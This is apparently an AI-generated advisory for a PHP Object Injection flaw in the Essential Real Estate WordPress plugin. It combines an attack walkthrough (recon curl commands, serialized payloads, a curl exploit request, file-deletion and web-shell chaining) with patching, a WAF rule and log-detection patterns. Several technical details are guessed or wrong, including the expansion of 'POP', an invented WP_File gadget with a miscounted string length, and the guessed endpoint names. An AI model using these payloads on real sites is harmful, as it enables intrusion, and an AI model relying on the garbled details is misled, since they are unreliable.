CWE-502
The Essential Real Estate plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 5.3.3 via deserialization of untrusted input in the 'saved_search_check_result' function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present.
🎯 What is this vulnerability?
CVE‑2026‑5765 is a classic PHP Object Injection (POI) flaw (CWE‑502) in the Essential Real Estate WordPress plugin (versions ≤ 5.3.3).
The vulnerable code resides in the saved_search_check_result() function, which accepts a POST/GET parameter (the exact name is not publicly documented, but the function deserializes the value of $_REQUEST['saved_search_check_result'] without any validation).
The plugin assumes that only authenticated users can reach this endpoint, but it does not verify that the user has the Subscriber role or higher before calling unserialize().
Because the input is taken directly from the request, an attacker who can log in as a Subscriber (or any role with the ability to access the admin‑ajax endpoint) can supply a crafted serialized string that will be instantiated as a PHP object.
The plugin itself contains no “Proof‑of‑Concept” (POP) chain – i.e., it does not expose any magic methods (__wakeup, __destruct, etc.) that would immediately execute code.
However, if the target site also has any other plugin or theme that implements a POP chain, the attacker can chain the injected object into that chain and achieve:
- Arbitrary file deletion / modification
- Retrieval of sensitive data (e.g., database credentials, user passwords)
- Remote code execution (RCE) via a web‑shell or command injection
Because the flaw is authenticated (requires a logged‑in user) but low‑complexity (no special privileges beyond Subscriber), the CVSS vector is AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (score 8.8).
⚡ Attack Chain
NOTE: The following chain uses illustrative endpoint names and parameter names.
The real plugin may expose the vulnerable function via admin-ajax.php?action=essr_saved_search_check or a custom REST route.
The attacker can discover the exact route by inspecting the plugin’s source or by brute‑forcing common WordPress AJAX actions.
1. Discovery & Reconnaissance
| Step | Technique | What the attacker learns |
|---|---|---|
| a. Identify the plugin | curl -I https://target.com/wp-content/plugins/essential-real-estate/readme.txt | Confirms plugin name and version (5.3.3). |
| b. Enumerate AJAX actions | curl -X POST https://target.com/wp-admin/admin-ajax.php?action= + brute‑force common names (essr_, realestate_, etc.) | Finds essr_saved_search_check (or similar). |
| c. Verify authentication requirement | curl -X POST https://target.com/wp-admin/admin-ajax.php?action=essr_saved_search_check (no cookie) | Receives 403/401 → confirms auth needed. |
| d. Confirm role | Log in as a Subscriber, capture cookie, repeat request | Successful 200 → confirms Subscriber can reach endpoint. |
2. Exploitation
The core of the exploit is a crafted serialized payload that will be unserialized by the plugin.
Because the plugin does not check the class of the object, any class that exists in the PHP runtime or in the site’s codebase can be instantiated.
2.1 Crafting a generic payload
<?php
// Example: instantiate WP_Error which has a __wakeup that logs errors
$payload = serialize(new WP_Error('test', 'payload'));
echo $payload;
?>Serialized string (example):
O:8:"WP_Error":2:{s:4:"code";s:4:"test";s:5:"message";s:7:"payload";}2.2 Sending the payload
curl -X POST \
-b "wordpress_logged_in=YOUR_COOKIE" \
-d "action=essr_saved_search_check" \
-d "saved_search_check_result=O:8:\"WP_Error\":2:{s:4:\"code\";s:4:\"test\";s:5:\"message\";s:7:\"payload\";}" \
https://target.com/wp-admin/admin-ajax.phpIllustrative example – the exact parameter name (saved_search_check_result) and endpoint (action=essr_saved_search_check) may differ.
The attacker should replace them with the real names discovered in step 1.
2.3 Chaining to a POP chain
Assume the site also has the “WP‑File‑Manager” plugin installed, which contains a POP chain that triggers __destruct on a WP_File object to delete a file.
The attacker can craft a payload that first creates a WP_File object and then uses the WP_Error object to trigger the chain:
<?php
// Build a chain: WP_File → __destruct (delete file)
$chain = serialize(new WP_File('/tmp/evil.txt'));
echo $chain;
?>Serialized string:
O:7:"WP_File":1:{s:7:"file";s:12:"/tmp/evil.txt";}The attacker sends this payload to the same endpoint.
When the plugin unserializes it, the WP_File object is instantiated.
If the WP_File class has a __destruct that deletes the file, the attacker can delete arbitrary files on the server.
RCE example – if the POP chain includes a class that writes a PHP file and then triggersinclude()(e.g.,WP_Themewith a__destructthat callsinclude($this->template)), the attacker can upload a web‑shell and execute arbitrary commands.
3. Post‑exploitation
| Goal | Technique | Result |
|---|---|---|
| Privilege Escalation | Use the POP chain to delete or modify the wp-config.php file, injecting a backdoor or changing the admin password. | Full site compromise. |
| Data Exfiltration | Chain to a class that reads files (e.g., WP_Document → __destruct that logs file contents to a remote server). | Sensitive data leaked. |
| Persistence | Upload a web‑shell (evil.php) via a POP chain that writes to /wp-content/uploads/. | Long‑term access. |
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (C = H) | The attacker can read arbitrary files (e.g., wp-config.php, user uploads, database dumps) if the POP chain includes file‑reading logic. |
| Integrity (I = H) | The attacker can modify or delete files, corrupt database entries, or tamper with plugin/theme code. |
| Availability (A = H) | By deleting critical files or corrupting the database, the attacker can bring the site down or render it unusable. |
| Scope (S = U) | The impact is confined to the compromised WordPress installation; it does not automatically spread to other sites. |
Practical consequences for a typical small‑to‑medium business website:
🛡️ Remediation & Mitigation
1. Patch
| Affected | Fixed |
|---|---|
| Essential Real Estate 5.3.3 and earlier | Upgrade to 5.3.4 or later (the vendor has removed the unserialize call and added proper validation). |
Action:
wp plugin update essential-real-estateor manually download the latest plugin from the WordPress repository and replace the directory.
2. Workarounds (if patching is not immediately possible)
| Mitigation | How to implement |
|---|---|
| Disable the vulnerable endpoint | Add the following to functions.php of the active theme: |
add_action('admin_init', function() {
if (isset($_REQUEST['action']) && $_REQUEST['action'] === 'essr_saved_search_check') {
wp_die('This action is disabled for security reasons.');
}
});|
| Restrict access to the AJAX action | Use the wp_ajax_nopriv_ and wp_ajax_ hooks to allow only administrators: |
|---|
add_action('wp_ajax_essr_saved_search_check', 'essr_saved_search_check');
function essr_saved_search_check() {
if (!current_user_can('manage_options')) {
wp_die('Forbidden', '', array('response' => 403));
}
// original function body
}|
| Block serialized payloads via WAF | ModSecurity rule (Apache/Nginx): |
|---|
SecRule REQUEST_URI "@beginsWith /wp-admin/admin-ajax.php" \
"chain,phase:2,block,msg:'POI detection',id:100001"
SecRule ARGS|REQUEST_HEADERS|REQUEST_BODY "@rx O:[0-9]+:\"[A-Za-z0-9_]+\"" \
"t:none,t:urlDecodeUni"|
| Disable PHP unserialize() for untrusted data | In php.ini: disable_functions = unserialize (only if you can replace the plugin logic). |
3. Detection
| Indicator | Log pattern | How to search |
|---|---|---|
| Serialized payload in request | O:[0-9]+:"[A-Za-z0-9_]+" | grep -R "O:[0-9]\+:\"[A-Za-z0-9_]\+" /var/log/apache2/access.log |
| Unserialize errors | PHP Notice: unserialize() | grep "unserialize()" /var/log/php-fpm/www-error.log |
| Unexpected file modifications | chmod, rm, mv in /wp-content/ | auditd or inotifywait monitoring. |
| Web‑shell uploads | Files with .php in wp-content/uploads/ | find /var/www/html/wp-content/uploads -type f -name "*.php" |
4. Monitoring
define('WP_DEBUG', true);) and log to a separate file. SecAuditLog). ⚠️ Urgency
| Metric | Value | Interpretation |
|---|---|---|
| CVSS v3.1 | 8.8 | High severity |
| Exploit Complexity | Low | Requires only a Subscriber login |
| Privileges Required | Low | Subscriber or higher |
| User Interaction | None | Fully automated |
| CISA KEV | No | No known public exploit yet |
Patch priority:
Recommended timeline:
| Phase | Action | Deadline |
|---|---|---|
| Day 1 | Identify affected installations (WP‑CLI wp plugin list --status=active). | ASAP |
| Day 2 | Apply the official patch or disable the endpoint. | Within 48 h |
| Day 3 | Deploy WAF rule and enable monitoring. | Within 72 h |
| Day 5 | Verify no further serialized payloads in logs. | Within 5 days |
Bottom line
CVE‑2026‑5765 is a high‑impact, authenticated PHP Object Injection that can lead to RCE if the target site also hosts a plugin or theme with a POP chain.
Because the flaw is low‑complexity and only requires a Subscriber‑level login, it is a realistic threat vector for any WordPress site that has not yet applied the vendor’s patch.
Immediate remediation, coupled with WAF hardening and vigilant monitoring, will mitigate the risk.
[🤖 openai/gpt-oss-20b via Groq]
FOFA Sorgusu